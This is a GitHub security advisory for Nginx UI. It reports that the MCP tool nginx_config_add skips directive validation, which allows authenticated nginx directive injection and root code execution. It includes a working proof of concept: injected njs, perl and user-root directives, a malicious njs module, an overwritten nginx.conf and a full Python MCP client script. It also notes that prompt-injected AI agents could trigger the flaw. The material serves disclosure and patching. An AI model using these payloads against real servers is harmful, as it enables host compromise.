Advisory

GHSA-76pm-mq2q-9gcr

Also known as: CVE-2026-84317, GO-2026-6779

Summary

Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)

Details

Summary
internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous
nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is
enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and
mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add
(mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to
disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection)
can therefore inject exactly the directives the control is meant to block, leading to nginx code
execution on deployments where the njs/perl module is available (e.g. the official Docker image).

Root cause — an incomplete hardening patch
Commit 3e411d38 ("Harden config write paths", 2026-04-21) introduced ValidateConfigFile and
wired it into the config-write paths — but its changeset touched only:
api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199),
mcp/config/config_modify.go (+5)
It did NOT touch mcp/config/config_add.go. So the MCP add path was left without the validation
that all of its sibling paths received. config_add.go has never called ValidateConfigFile
(verified via git history); this is an oversight in the hardening, not a regression.

Affected code (mcp/config/config_add.go, handleNginxConfigAdd)

content := mcp.GetString(args, "content")        // caller-controlled
...
path, err := config.ResolveConfPath(baseDir, name)   // path is sandboxed to the conf dir (OK)
...
err = os.WriteFile(path, []byte(content), 0644)  // <-- no config.ValidateConfigFile(path, content)
...
res := nginx.Control(nginx.Reload)               // reloads nginx

Contrast — the guarded sibling (mcp/config/config_modify.go) does:

err = config.ValidateConfigFile(absPath, content)   // rejects js_*/perl_*/load_module/user root
if err != nil { return nil, err }

Proof of Concept (live, Docker, official image)
Image uozi/nginx-ui:2.3.11, nginx 1.31.0. Authenticated with a valid node secret
(X-Node-Secret). MCP over SSE; client script poc_mcp_client.py attached.

  1. Validation bypass (decisive):
  • tools/call nginx_config_add {name:"poc_blocked.conf", base_dir:"sites-available", content:"js_import poc.js;\nperl_set $x 'sub{return 1}';\nuser root;\nload_module .../ngx_http_js_module.so;"} → SUCCESS; file written verbatim (confirmed on disk).
  • Same content via nginx_config_modify → REJECTED: {"code":-32603,"message":"file content contains restricted nginx directive: js_import"}.
  1. Effect (using only the vulnerable config_add tool):
  • Wrote /etc/nginx/poc.js (njs module) and overwrote /etc/nginx/nginx.conf with load_module .../ngx_http_js_module.so; user root; ... js_import poc ...; server{ listen 8899; location=/pwn { js_content poc.pwn; } }. Tool returned SUCCESS (reload succeeded; nginx -t ok).
  • /proc/<worker>/status → Uid: 0 0 0 0 (workers run as root — user root took effect).
  • GET http://127.0.0.1:8899/pwn → pwned (njs js_content executed).
  • /tmp/NJS_RCE_PROOF.txt created, owned by root → JavaScript code execution in the nginx worker performing arbitrary file write as root.

Reproduction payloads (self-contained)
njs module written to /etc/nginx/poc.js via nginx_config_add (name="poc.js", base_dir=""):

import fs from 'fs';
function pwn(r){
  try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; }
  r.return(200,'pwned\n');
}
export default { pwn };

Main config overwritten via nginx_config_add (name="nginx.conf", base_dir="", overwrite=true):

load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
user root;
worker_processes 1;
error_log /var/log/nginx/error.log notice;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
    include /etc/nginx/mime.types;
    default_type application/octet-stream;
    js_import poc from /etc/nginx/poc.js;
    server { listen 8899; location = /pwn { js_content poc.pwn; } }
}

PoC client (MCP-over-SSE, Python stdlib only)
Set SECRET to a valid node secret (printed in nginx-ui's first-boot logs) or a user JWT.
Usage: python3 poc_mcp_client.py list then python3 poc_mcp_client.py call <tool> '<json-args>'.

import sys, json, threading, queue, time, http.client
BASE = "127.0.0.1:9000"
SECRET = "<NODE_SECRET_OR_JWT>"
HDR = {"X-Node-Secret": SECRET}   # or {"Authorization": "Bearer <JWT>"}
resp_q = queue.Queue(); endpoint = {}

def sse_reader():
    conn = http.client.HTTPConnection(BASE, timeout=60)
    conn.request("GET", "/mcp", headers={**HDR, "Accept": "text/event-stream"})
    r = conn.getresponse(); event = None
    while True:
        line = r.fp.readline()
        if not line: break
        line = line.decode("utf-8","replace").rstrip("\r\n")
        if line.startswith("event:"): event = line[6:].strip()
        elif line.startswith("data:"):
            data = line[5:].strip()
            if event == "endpoint": endpoint["url"] = data; endpoint["ready"] = True
            else: resp_q.put(data)
        elif line == "": event = None

def post(obj):
    conn = http.client.HTTPConnection(BASE, timeout=30)
    conn.request("POST", endpoint["url"], body=json.dumps(obj).encode(),
                 headers={**HDR, "Content-Type": "application/json"})
    return conn.getresponse().read()

def wait(wid, t=20):
    end = time.time()+t
    while time.time() < end:
        try: d = resp_q.get(timeout=t)
        except queue.Empty: break
        try: j = json.loads(d)
        except Exception: continue
        if j.get("id") == wid: return j

threading.Thread(target=sse_reader, daemon=True).start()
for _ in range(50):
    if endpoint.get("ready"): break
    time.sleep(0.1)
post({"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05",
      "capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}); wait(1)
post({"jsonrpc":"2.0","method":"notifications/initialized","params":{}})
cmd = sys.argv[1] if len(sys.argv) > 1 else "list"
if cmd == "list":
    post({"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}})
    print([t["name"] for t in wait(2)["result"]["tools"]])
elif cmd == "call":
    post({"jsonrpc":"2.0","id":3,"method":"tools/call",
          "params":{"name":sys.argv[2],"arguments":json.loads(sys.argv[3])}})
    print(json.dumps(wait(3, 25), indent=1))

Impact
An authenticated MCP principal — or a connected AI agent subverted via prompt injection — bypasses
the directive-validation security control and injects directives the project explicitly blocks
elsewhere. On deployments with the njs/perl module available (the official Docker image ships
ngx_http_js_module.so), this yields code execution in the nginx worker and, via user root,
arbitrary file read/write as root (trivially escalated to full host compromise:
/root/.ssh/authorized_keys, /etc/cron.d/*, overwriting a binary). On stock nginx without those
modules it is a reliable DoS (failed reload) plus a user root privilege regression.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-10-15 20:11 UTC
Modified
2026-10-19 21:41 UTC

Affected packages and fixes

github.com/0xJacky/Nginx-UI

Go · All systems

Affected

  • introduced 0, fixed 1.9.10-0.20260703131214-23d1934099b0 (semver)

Fixed versions

1.9.10-0.20260703131214-23d1934099b0

Fix

  • Fixed version 1.9.10-0.20260703131214-23d1934099b0
    go get github.com/0xJacky/[email protected]

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

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Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences